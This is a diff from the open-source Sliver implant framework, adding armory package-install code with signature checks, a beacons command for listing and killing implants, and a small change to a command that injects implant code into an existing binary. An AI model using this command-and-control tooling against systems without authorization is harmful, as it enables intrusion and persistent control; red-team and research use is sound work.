+	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
+	if ok {
+		cached := cacheEntry.(indexCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
+	defer func() {
+		armoryResult.Fetched = time.Now()
+		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
+	}()
+
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		armoryResult.LastErr = err
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		armoryResult.LastErr = errors.New("invalid URL scheme")
+		return
+	}
+
+	var index *ArmoryIndex
+	if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
+		index, err = indexParser(armoryConfig, clientConfig)
+	} else {
+		index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
+	}
+	if index != nil {
+		armoryResult.Index = *index
+	}
+	armoryResult.LastErr = err
+}
+
+func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
+	wg := &sync.WaitGroup{}
+	for _, index := range indexes {
+		for _, armoryPkg := range index.Extensions {
+			wg.Add(1)
+			armoryPkg.IsAlias = false
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+		}
+		for _, armoryPkg := range index.Aliases {
+			wg.Add(1)
+			armoryPkg.IsAlias = true
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+		}
+	}
+	wg.Wait()
+}
+
+func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+	defer wg.Done()
+	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
+	if ok {
+		cached := cacheEntry.(pkgCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
+	defer func() {
+		pkgCacheEntry.Fetched = time.Now()
+		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
+	}()
+
+	repoURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		pkgCacheEntry.LastErr = err
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
+		return
+	}
+
+	var sig *minisign.Signature
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
+	} else {
+		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
+	}
+	if err != nil {
+		pkgCacheEntry.LastErr = err
+		return
+	}
+	if sig != nil {
+		pkgCacheEntry.Sig = *sig
+	} else {
+		pkgCacheEntry.LastErr = errors.New("nil signature")
+		return
+	}
+	if armoryPkg != nil {
+		pkgCacheEntry.Pkg = *armoryPkg
+	}
+	if err == nil {
+		manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
+		if err != nil {
+			pkgCacheEntry.LastErr = err
+			return
+		}
+		if armoryPkg.IsAlias {
+			pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
+		} else {
+			pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
+		}
+		pkgCacheEntry.LastErr = err
+	}
+}

client/command/armory/armory_test.go

@@ -0,0 +1 @@
+package armory

client/command/armory/install.go

@@ -0,0 +1,276 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"net/url"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrPackageNotFound = errors.New("package not found")
+)
+
+// ArmoryInstallCmd - The armory install command
+func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("A package or bundle name is required")
+		return
+	}
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	err := installPackageByName(name, clientConfig, con)
+	if err == nil {
+		return
+	}
+	if err == ErrPackageNotFound {
+		bundles := bundlesInCache()
+		for _, bundle := range bundles {
+			if bundle.Name == name {
+				installBundle(bundle, clientConfig, con)
+				return
+			}
+		}
+	}
+	con.PrintErrorf("No package or bundle named '%s' was found", name)
+}
+
+func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	for _, pkgName := range bundle.Packages {
+		err := installExtensionPackageByName(pkgName, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
+		}
+	}
+}
+
+func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	aliases, extensions := packagesInCache()
+	for _, alias := range aliases {
+		if alias.CommandName == name {
+			installAlias(alias, clientConfig, con)
+			return nil
+		}
+	}
+	for _, ext := range extensions {
+		if ext.CommandName == name {
+			installExtension(ext, clientConfig, con)
+			return nil
+		}
+	}
+	return ErrPackageNotFound
+}
+
+func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	err := installAliasPackageByName(alias.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
+		return
+	}
+}
+
+func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	tmpFile.Close()
+
+	installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install alias")
+	}
+	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	deps := make(map[string]struct{})
+	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
+	for dep := range deps {
+		if extensions.CmdExists(dep, con.App) {
+			continue // Dependency is already installed
+		}
+		err := installExtensionPackageByName(dep, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
+			return
+		}
+	}
+	err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
+		return
+	}
+}
+
+const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
+
+func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return
+	}
+
+	if entry.Extension.DependsOn == "" {
+		return // Avoid adding empty dependency
+	}
+
+	if entry.Extension.DependsOn == name {
+		return // Avoid infinite loop of something that depends on itself
+	}
+	// We also need to look out for circular dependencies, so if we've already
+	// seen this dependency, we stop resolving
+	if _, ok := deps[entry.Extension.DependsOn]; ok {
+		return // Already resolved
+	}
+	if maxDepDepth < len(deps) {
+		return
+	}
+	deps[entry.Extension.DependsOn] = struct{}{}
+	resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
+}
+
+func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	tmpFile.Close()
+
+	installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install extension")
+	}
+	extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
+	if err != nil {
+		return err
+	}
+
+	// do not add if the command already exists
+	if extensions.CmdExists(extCmd.Name, con.App) {
+		return fmt.Errorf("%s command already exists", extCmd.Name)
+	}
+	extensions.ExtensionRegisterCommand(extCmd, con)
+	return nil
+}

client/command/armory/parsers.go

@@ -0,0 +1,355 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/tls"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"net/url"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+)
+
+// ArmoryIndexParser - Generic interface to fetch armory indexes
+type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
+
+// ArmoryPackageParser - Generic interface to fetch armory package manifests
+type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+
+var (
+	indexParsers = map[string]ArmoryIndexParser{
+		"api.github.com": GithubArmoryIndexParser,
+	}
+	pkgParsers = map[string]ArmoryPackageParser{
+		"api.github.com": GithubArmoryPackageParser,
+	}
+)
+
+const (
+	armoryIndexFileName    = "armory.json"
+	armoryIndexSigFileName = "armory.minisig"
+)
+
+type armoryIndexResponse struct {
+	Minisig     string `json:"minisig"`      // Minisig
+	ArmoryIndex string `json:"armory_index"` // Base64 String
+}
+
+type armoryPkgResponse struct {
+	Minisig  string `json:"minisig"` // Minisig
+	TarGzURL string `json:"tar_gz_url"`
+}
+
+// DefaultArmoryParser - Parse the armory index directly from the url
+func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, errors.New("api returned non-200 status code")
+	}
+	index := &armoryIndexResponse{}
+	err = json.Unmarshal(body, index)
+	if err != nil {
+		return nil, err
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
+	if !valid {
+		return nil, errors.New("invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
+func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, nil, errors.New("api returned non-200 status code")
+	}
+	pkgResp := &armoryPkgResponse{}
+	err = json.Unmarshal(body, pkgResp)
+	if err != nil {
+		return nil, nil, err
+	}
+	sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
+	if err != nil {
+		return nil, nil, err
+	}
+	var tarGz []byte
+	if !sigOnly {
+		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		if err != nil {
+			return nil, nil, err
+		}
+		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
+			return nil, nil, errors.New("invalid url scheme")
+		}
+		resp, err := client.Get(tarGzURL.String())
+		if err != nil {
+			return nil, nil, err
+		}
+		defer resp.Body.Close()
+		tarGz, err = ioutil.ReadAll(resp.Body)
+		if err != nil {
+			return nil, nil, err
+		}
+		if resp.StatusCode != http.StatusOK {
+			return nil, nil, errors.New("api returned non-200 status code")
+		}
+	}
+	return sig, tarGz, nil
+}
+
+type GithubAsset struct {
+	ID   int    `json:"id"`
+	Name string `json:"name"`
+	URL  string `json:"url"`
+	Size int    `json:"size"`
+
+	BrowserDownloadURL string `json:"browser_download_url"`
+}
+
+type GithubRelease struct {
+	ID          int           `json:"id"`
+	Name        string        `json:"name"`
+	URL         string        `json:"url"`
+	HTMLURL     string        `json:"html_url"`
+	TagName     string        `json:"tag_name"`
+	Body        string        `json:"body"`
+	Prerelease  bool          `json:"prerelease"`
+	TarballURL  string        `json:"tarball_url"`
+	ZipballURL  string        `json:"zipball_url"`
+	CreatedAt   string        `json:"created_at"`
+	PublishedAt string        `json:"published_at"`
+	Assets      []GithubAsset `json:"assets"`
+}
+
+// GithubArmoryIndexParser - Parse the armory index from a GitHub release
+func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, errors.New("api returned non-200 status code")
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, err
+	}
+	if len(releases) < 1 {
+		return nil, errors.New("no releases found")
+	}
+	release := releases[0] // Latest only right now
+
+	var armoryIndexData []byte
+	var sigData []byte
+	for _, asset := range release.Assets {
+		if asset.Name == armoryIndexFileName {
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			armoryIndexData, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				return nil, err
+			}
+		}
+		if asset.Name == armoryIndexSigFileName {
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			sigData, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, armoryIndexData, sigData)
+	if !valid {
+		return nil, errors.New("invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
+func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, nil, errors.New("api returned non-200 status code")
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, nil, err
+	}
+	release := releases[0] // Latest only right now
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	for _, asset := range release.Assets {
+		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			var body []byte
+			body, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				break
+			}
+			sig, err = parsePkgMinsig(body)
+			if err != nil {
+				break
+			}
+		}
+		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			tarGz, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				break
+			}
+		}
+	}
+	return sig, tarGz, err
+}
+
+func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
+	var sig minisign.Signature
+	err := sig.UnmarshalText(data)
+	if err != nil {
+		return nil, err
+	}
+	if len(sig.TrustedComment) < 1 {
+		return nil, errors.New("missing trusted comment")
+	}
+	return &sig, nil
+}
+
+func httpClient(config ArmoryHTTPConfig) *http.Client {
+	return &http.Client{
+		Timeout: config.Timeout,
+		Transport: &http.Transport{
+			Dial: (&net.Dialer{
+				Timeout: config.Timeout,
+			}).Dial,
+			Proxy: http.ProxyURL(config.ProxyURL),
+
+			TLSHandshakeTimeout: config.Timeout,
+			TLSClientConfig: &tls.Config{
+				InsecureSkipVerify: config.DisableTLSValidation,
+			},
+		},
+	}
+}

client/command/armory/search.go

@@ -0,0 +1,65 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ArmorySearchCmd - Search for packages by name
+func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+	rawNameExpr := ctx.Args.String("name")
+	if rawNameExpr == "" {
+		con.PrintErrorf("Please specify a search term!\n")
+		return
+	}
+	nameExpr, err := regexp.Compile(rawNameExpr)
+	if err != nil {
+		con.PrintErrorf("Invalid regular expression: %s\n", err)
+		return
+	}
+
+	aliases, exts := packagesInCache()
+	matchedAliases := []*alias.AliasManifest{}
+	for _, a := range aliases {
+		if nameExpr.MatchString(a.CommandName) {
+			matchedAliases = append(matchedAliases, a)
+		}
+	}
+	matchedExts := []*extensions.ExtensionManifest{}
+	for _, ext := range exts {
+		if nameExpr.MatchString(ext.CommandName) {
+			matchedExts = append(matchedExts, ext)
+		}
+	}
+	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
+		con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
+		return
+	}
+	PrintArmoryPackages(matchedAliases, matchedExts, con)
+}

client/command/armory/update.go

@@ -0,0 +1,112 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ArmoryUpdateCmd - Update all installed extensions/aliases
+func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+
+	// Aliases
+	aliasUpdates := checkForAliasUpdates(clientConfig, con)
+	if 0 < len(aliasUpdates) {
+		con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
+		for _, aliasName := range aliasUpdates {
+			err := installAliasPackageByName(aliasName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All aliases up to date!\n")
+	}
+
+	// Extensions
+	extUpdates := checkForExtensionUpdates(clientConfig, con)
+	if 0 < len(extUpdates) {
+		con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
+		for _, extName := range extUpdates {
+			err := installExtensionPackageByName(extName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", extName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All extensions up to date!\n")
+	}
+}
+
+func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	cachedAliases, _ := packagesInCache()
+	results := []string{}
+	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
+		data, err := ioutil.ReadFile(aliasManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := alias.ParseAliasManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestAlias := range cachedAliases {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}
+
+func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	_, cachedExtensions := packagesInCache()
+	results := []string{}
+	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
+		data, err := ioutil.ReadFile(extManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := extensions.ParseExtensionManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestExt := range cachedExtensions {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}

client/command/backdoor/backdoor.go

@@ -29,7 +29,7 @@ import (
 
 // BackdoorCmd - Command to inject implant code into an existing binary
 func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl

client/command/beacons/README.md

@@ -0,0 +1,4 @@
+Beacons
+========
+
+This package implements the beacons command, which can be used to list and interact with beacons.

client/command/beacons/beacons.go

@@ -0,0 +1,169 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/kill"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/crypto/ssh/terminal"
+)
+
+// BeaconsCmd - Display/interact with beacons
+func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	killFlag := ctx.Flags.String("kill")
+	killAll := ctx.Flags.Bool("kill-all")
+
+	// Handle kill
+	if killFlag != "" {
+		beacon, err := GetBeacon(con, killFlag)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		err = kill.KillBeacon(beacon, false, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Println()
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+	}
+
+	if killAll {
+		beacons, err := GetBeacons(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		for _, beacon := range beacons.Beacons {
+			err = kill.KillBeacon(beacon, true, con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			con.Println()
+			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		}
+	}
+
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	PrintBeacons(beacons.Beacons, con)
+}
+
+// PrintBeacons - Display a list of beacons
